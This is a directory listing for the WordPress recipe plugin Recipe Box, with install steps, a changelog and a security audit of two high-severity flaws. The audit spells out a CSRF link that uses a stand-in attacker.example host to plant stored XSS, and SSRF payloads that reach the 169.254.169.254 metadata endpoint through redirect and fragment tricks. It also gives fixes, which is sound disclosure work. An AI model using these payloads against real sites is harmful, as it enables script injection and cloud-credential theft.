WP Manifestindependent plugin directory
manifest / content / recipe-box

Recipe Box WP Registry grade D+. High-severity findings · 2 findingsWP RegistryHigh-severity findings · 2 findingsOpen the reportD+

Easily store and publish recipes in WordPress.

★ 3stars
1.1kcomposer installs
0.3.5latest · 1 year ago

Install

Download source zip No release zip yet

This is the repository archive. It installs, but the folder name will carry the branch suffix and updates will not flow.

Install straight from GitHub with WP-CLI:

wp plugin install https://github.com/jazzsequence/recipe-box/archive/refs/heads/develop.zip

On Packagist as jazzsequence/recipe-box:

composer require jazzsequence/recipe-box
No built-in updater. New versions won't appear under Dashboard → Updates. Install new releases yourself, or let Git Updater track the repository.

Description

Easily store and publish recipes in WordPress.

Installation

Via Composer

Recipe Box can be installed on Composer-based WordPress sites by using the following command:

composer require jazzsequence/recipe-box

Via Git Updater

Recipe Box supports Andy Fragen's Git Updater method of managing plugins.

  1. Download and install Git Updater on your WordPress site.
  2. From the Git Updater admin pages, navigate to Install Plugin and use the following values:

Plugin URI: jazzsequence/recipe-box
Repository Branch: main
Remote Repository Host: GitHub
GitHub Access Token: (optional, leave blank)

Manual

  1. Upload the entire /recipe-box directory to the /wp-content/plugins/ directory.
  2. Activate Recipe Box through the 'Plugins' menu in WordPress.

Frequently Asked Questions

Screenshots

Changelog

0.3.5

0.3.4

  • Added additional units of measure

0.3.3

  • Add composer.json

0.3.2

  • fixes styling bugs from Gutenberg update

0.3.1

  • added support for Slack plugin to allow recipes to post to Slack.
  • fixed a javascript bug (props @igmoweb).

0.3

  • added moar api support
  • added ability and admin page to pull recipes from remote Recipe Box site using the API
  • check recipes being imported to see if they are duplicating recipes that exist on the current site.

0.2

  • added options page to determine whether recipes should be mixed with normal blog posts (and therefore easily thrown on the front page of a blog site)
  • added taxonomies to display on front end
  • more front-end tweaks
  • added schema.org structured data
  • hooked all the things
  • added preheat temperature
  • removed tgm plugin activation for REST API now that API is in core

0.1

  • First release

Upgrade Notice

0.1

First Release

Releases

6 releases.

Tag
Published
0.3.5 latest
Jan 23, 2025 1 year ago
Nov 16, 2020 5 years ago
Nov 12, 2020 5 years ago
Dec 24, 2019 6 years ago
Mar 22, 2018 8 years ago
0.3
Jul 21, 2017 9 years ago

These releases are tags only. The author does not attach a packaged zip, so there are no download counts to report.

D+ grade

Security

Recipe Box 0.3.5 · audited by WP Registry

High-severity findings.

2 high
Audited release
0.3.5
Findings
2
Worst severity
high
Content hash
6b380eed01afc542f7d76920…

Findings

  • high Nonce-less GET recipe import publishes attacker JSON (stored XSS)

    csrf

    RB_Import::import_page_display() is the manage_options submenu callback for recipe_box_import. If $_GET['importIds'] is present it calls import_recipes() with no wp_verify_nonce, check_admin_referer, or REQUEST_METHOD check. import_recipes() explodes importIds, concatenates importUrl into a remote REST URL, json_decodes the body, and import_single_recipe() wp_insert_post()s a published rb_recipe using $recipe->content->rendered as post_content and add_post_meta($id, '_rb_servings', $recipe->servings) with no kses. The intended UI is a JS redirect (recipe-import.js) that builds that same GET. WordPress auth cookies are SameSite=Lax, so a top-level GET from a malicious link still sends them: an unauthenticated attacker who lures an administrator to /wp-admin/edit.php?post_type=rb_recipe&page=recipe_box_import&importIds=1&importUrl=http://attacker.example causes the site to fetch the attacker's JSON and publish it as the admin (unfiltered_html). Observable XSS consumer: RB_Public::render_servings() echoes _rb_servings into the_content with sprintf('%s') and no esc_html, so <script> or event-handler markup in servings runs for every visitor of the new recipe even when DISALLOW_UNFILTERED_HTML would have stripped post_content. CMB2's editor path sanitizes servings with sanitize_text_field; this import path does not.

    includes/class-import.php:150-260

    Recommendation

    Reject GET for import; require POST plus check_admin_referer() and current_user_can('manage_options') inside import_recipes() before any HTTP or wp_insert_post. Sanitize imported title/content/meta (wp_kses_post / sanitize_text_field) regardless of the current user's unfiltered_html. Echo servings with esc_html() in render_servings(). Do not drive a state-changing import via window.location query arguments.

  • high SSRF: importUrl is passed to wp_remote_get with no host allow-list

    ssrf

    The same import_recipes() handler builds $url = $api_url . '/wp-json/wp/v2/recipes/' . $recipe_id from $_GET['importUrl'] and calls wp_remote_get(), not wp_safe_remote_get(). esc_url() only strips disallowed schemes; it does not block loopback, RFC1918, link-local, or 169.254.169.254. wp_remote_get() does not run wp_http_validate_url(), so those hosts are fetched. The hardcoded path suffix is not a mitigation: (1) WordPress HTTP follows redirects (redirection => 5), so importUrl=http://attacker.example that 302s to http://169.254.169.254/latest/meta-data/ still hits metadata; (2) a trailing # fragment is kept by esc_url/sanitize_text_field and stripped by the HTTP client, so importUrl=http://169.254.169.254/latest/meta-data/# requests that exact internal URL. Reachable as the CSRF'd administrator from finding 1, or by the administrator themselves. The response is json_decoded rather than echoed, so this is blind SSRF, but it is enough to probe internal services, hit cloud-metadata credential endpoints, and use the site as a proxy. recipe_id is only sanitize_text_field, not absint, so query-string/path tricks on the suffix remain available.

    includes/class-import.php:196-207

    Recommendation

    Replace wp_remote_get with wp_safe_remote_get, absint() each recipe id, and allow-list import hosts (scheme https, no userinfo, no private/link-local/metadata ranges, no redirects off-allow-list). Parse the URL with wp_parse_url and reject fragments, credentials, and unexpected ports before fetching. Pair with the CSRF fix so an unauthenticated attacker cannot point the server at internal URLs.

WP Registry hashes the installable build and reports on that exact bytes-for-bytes copy. Embargoed findings are withheld until they are disclosed, so a clean verdict means nothing public is outstanding. WP Manifest does not audit code itself.